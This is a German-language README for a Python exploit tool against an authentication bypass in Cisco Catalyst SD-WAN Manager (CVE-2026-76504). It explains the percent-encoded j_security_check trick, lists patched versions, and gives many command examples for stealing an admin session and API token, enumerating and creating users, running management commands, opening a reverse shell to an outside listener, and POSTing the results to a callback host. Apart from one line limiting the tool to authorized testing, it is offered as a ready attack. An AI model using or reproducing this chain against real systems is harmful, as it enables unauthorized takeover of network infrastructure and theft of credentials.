Python-Exploit für CVE-2026-76504, eine Authentifizierungsumgehung bei Cisco Catalyst SD-WAN Manager über prozentkodiertes j_security_check, mit Token-Diebstahl, API-Aufrufen und Reverse Shell.
CVE-2026-76504 ist eine kritische Authentifizierungsumgehung (CVSS 9.8,
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, CWE-177) in Cisco Catalyst SD-WAN
Manager (vManage). Sie ist im CISA KEV-Katalog aufgeführt und wird seit
September 2026 aktiv in freier Wildbahn ausgenutzt. Es gibt keine
Problemumgehung; nur das Einspielen von Patches beseitigt die Schwachstelle.
Die Ursache ist eine inkonsistente URI-Normalisierung zwischen der
Authentifizierungs-Middleware und dem Request-Router. Wird ein einzelnes
Zeichen des geschützten j_security_check-Login-Pfads prozentkodiert, sieht
die Auth-Regel eine andere (saubere) URI, während der Router die gleiche
(Login-)URI auflöst — so stellt der Server eine gültige Admin-Sitzung ohne
jegliche gültigen Anmeldedaten aus.
Advisory: cisco-sa-sdwan-webauth-xr8beuuU
| Branch | Behoben in |
|---|---|
| 20.9.x | 20.9.10.1 |
| 20.12.x | 20.12.8.2 |
| 20.15.x | 20.15.6.1 |
| 20.18.x | 20.18.4.1 |
| 26.1.x | 26.1.2.1 |
| 26.2 | 26.2.1 |
step1 POST /%6a_security_check (%6a = percent-encoded 'j')
-> the auth rule is skipped, the request is mapped to a
'viptela-reserved-*' service account and a valid JSESSIONID
is returned.
step2 GET /dataservice/client/token (with the JSESSIONID cookie)
-> 128-char uppercase hex admin API token.
step3 authenticated admin API calls / command execution / reverse shell.
Follow-up requests send the session cookie plus the token in the
X-XSRF-TOKEN header (documented vManage API convention).
# Verify the target is vulnerable
python3 exploit.py -t https://10.0.0.1 --check
# Full chain, human-readable output
python3 exploit.py -t https://10.0.0.1 --recon
# Machine-readable JSON report
python3 exploit.py -t https://10.0.0.1 --json
# Authenticated follow-up API call (repeatable)
python3 exploit.py -t https://10.0.0.1 \
--api 'GET /dataservice/user/user'
# Execute a management command (repeatable)
python3 exploit.py -t https://10.0.0.1 \
--cmd 'show version'
# Reverse shell with a local interactive listener
python3 exploit.py -t https://10.0.0.1 \
--revshell --rs-host 10.0.0.2 --rs-port 4444 --listen
# Offline self-test against the built-in mock vManage
python3 exploit.py --selftest
| Option | Beschreibung |
|---|---|
-t, --target | Host oder scheme://host[:port] (Standardport 443) |
--port | Port überschreiben |
--http | reines HTTP erzwingen |
--insecure | TLS-Zertifikatsprüfung überspringen |
--proxy | Forward-Proxy http://host:port |
--timeout | Timeout pro Anfrage in Sekunden (Standard 10) |
-u, --user | Wert für das Formularfeld j_username (Standard admin; Authentifizierung wird umgangen) |
-p, --pass | Wert für das Formularfeld j_password (Standard admin; Authentifizierung wird umgangen) |
--enc-char | Zeichen von j_security_check, das prozentkodiert werden soll (Standard j) |
--enc-style | lower (Standard), upper oder double-Kodierung |
--token-url | Admin-Token-Endpunkt (Standard /dataservice/client/token) |
--skip-token | nach Schritt 1 stoppen (nur Sitzung) |
--check | nur Verifikation: Schritt 1, Bericht, Beenden |
--api SPEC | authentifizierter Aufruf: `'METHOD PATH [json |
--cmd CMD | Verwaltungsbefehl unter der gestohlenen Sitzung (wiederholbar) |
--cmd-url | Befehls-Endpunkt (Standard /dataservice/command) |
--cmd-field | JSON-Payload-Schlüssel, der den Befehl trägt (Standard command) |
--revshell | einen Reverse-Shell-Befehl erstellen und ausführen |
--rs-impl | bash (Standard), nc, python3, perl |
--rs-host/--rs-port | Host/Port für den Reverse-Shell-Callback |
--listen | einen lokalen Listener starten und die Shell interaktiv weiterleiten |
--recon | Kandidaten-Endpunkte mit der gestohlenen Sitzung sondieren |
--callback URL | den JSON-Bericht per POST an eine URL senden |
--dump DIR | Antwortartefakte in einem Verzeichnis speichern |
--repeat N | die Kette N-mal wiederholen |
--reqid | X-Request-Id: <uuid4> senden (IOC-Treue) |
--ua | User-Agent (Standard Mozilla/5.0) |
-v, --verbose | Rohdaten von Anfragen/Antworten ausgeben |
--json | nur maschinenlesbarer Bericht |
--selftest | Offline-Selbsttest über den integrierten Mock |
| Code | Bedeutung |
|---|---|
| 0 | Umgehung bestätigt |
| 1 | fehlgeschlagen / Verifikationsfehler |
| 2 | Ziel nicht erreichbar |
# Verify only (lowercase encoding)
python3 exploit.py -t 10.0.0.1 --port 8443 --check
# Uppercase / double encoding variants
python3 exploit.py -t https://10.0.0.1 --enc-style upper --check
python3 exploit.py -t https://10.0.0.1 --enc-style double --check
# Encode a different character of the path
python3 exploit.py -t https://10.0.0.1 --enc-char s --check
# Enumerate users via the stolen session
python3 exploit.py -t https://10.0.0.1 \
--api 'GET /dataservice/user/user'
# POST JSON payload
python3 exploit.py -t https://10.0.0.1 \
--api 'POST /dataservice/user {"userName":"x","password":"y"}'
# POST a payload from a file
python3 exploit.py -t https://10.0.0.1 \
--api 'POST /dataservice/setting @payload.json'
# Save artifacts and POST the report to a callback
python3 exploit.py -t https://10.0.0.1 \
--dump ./out --callback http://10.0.0.2:8000/report --json
# Through a forward proxy, ignoring TLS validation
python3 exploit.py -t https://10.0.0.1 \
--proxy http://127.0.0.1:8080 --insecure --check
Die Standard-Anmeldedaten (admin/admin) werden nur als Formularfeldwerte verwendet; die Auth-Regel selbst wird durch den kodierten Pfad umgangen, sodass die Anmeldedatenwerte auf einem verwundbaren Ziel nicht korrekt sein müssen.
--check führt nur Schritt 1 aus und meldet, ob ein Session-Cookie ausgegeben wurde. Es werden keine weiteren authentifizierten Aufrufe durchgeführt.
Das Tool ist eine einzelne, abhängigkeitsfreie Datei für ausschließlich autorisierte Sicherheitstests und Forschung. Verwende es nur gegen Systeme, die du testen darfst.